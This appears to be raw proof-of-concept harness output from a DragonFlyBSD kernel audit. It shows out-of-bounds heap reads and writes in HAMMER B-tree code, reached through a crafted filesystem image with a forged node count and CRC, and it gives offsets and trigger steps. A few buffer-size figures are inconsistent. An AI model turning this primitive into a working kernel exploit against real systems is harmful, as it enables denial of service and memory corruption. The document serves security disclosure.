DragonFlyBSD Kernel Audit
DF-0776 / harness_output.txt
← back to finding ↓ download raw
==== DF-0776 production (INVARIANTS-OFF) OOB primitive proof ====
forged node->count = 200  (HAMMER_BTREE_LEAF_ELMS = 63)
elms[] array holds 63 elements (4032 bytes); node buffer = 4096 bytes

---- (1) OOB READ: hammer_btree_search_node() + btree_search leaf loop ----
    hammer_btree_search_node(key, node)  [hammer_btree.c:1390]
    [search_node] OOB READ at elms[100] (byte +6400, +2368 past elms[] end)
    [search_node] OOB READ at elms[150] (byte +9600, +5568 past elms[] end)
    [search_node] OOB READ at elms[175] (byte +11200, +7168 past elms[] end)
    [search_node] OOB READ at elms[187] (byte +11968, +7936 past elms[] end)
    [search_node] OOB READ at elms[193] (byte +12352, +8320 past elms[] end)
    [search_node] OOB READ at elms[196] (byte +12544, +8512 past elms[] end)

    btree_search leaf loop  [hammer_btree.c:1289-1290]
        i = search_node_result = 196
        while (i < node->count) { elm = &node->elms[i]; cmp(); ++i; }
    => walked elms[196..199]; first OOB at elms[196]
    => 4 OOB element reads = 256 bytes beyond elms[] end
    => 256 bytes read PAST the 4096-byte node buffer into kernel heap
    >>> OOB KERNEL-HEAP READ (info leak / panic on guard page) <<<
    sample bytes from first OOB element: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 
    (0xCC = adjacent kernel heap; real kernel exposes live slab data)

---- (2) OOB WRITE: hammer_btree_insert() bcopy  [hammer_btree.c:819-824] ----
    count=200, i(cursor->index)=0
    if (i != count) bcopy(&elms[i], &elms[i+1], (count-i)*sizeof(elm));
    => bcopy of 12800 bytes  (200 * 64)
    source: elms[0] .. elms[199]  (within/just past elms[])
    dest  : elms[1] .. elms[200]
    write ends at elms_base+12864  (elms[] ends at +4032; node buf ends at +4032)
    => 8832 bytes written past elms[] end
    => 8832 bytes written PAST the 4096-byte node buffer into kernel heap
    adjacent-heap bytes clobbered by the shift (were 0xCC): aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa 
    (0xAA = shifted node data now overwriting neighbouring heap)
    >>> OOB KERNEL-HEAP WRITE (corruption / controlled-size shift) <<<

==== summary ====
GENERIC (INVARIANTS ON): KKASSERT panic at hammer_btree.c:1278/818 (DoS).
production (INVARIANTS OFF): 256-byte OOB heap read + 8832-byte OOB heap write
  trigger: mount crafted HAMMER image (root) + unpriv ls/stat (read) /
           unpriv create/mkdir (write). CRC forged so load passes.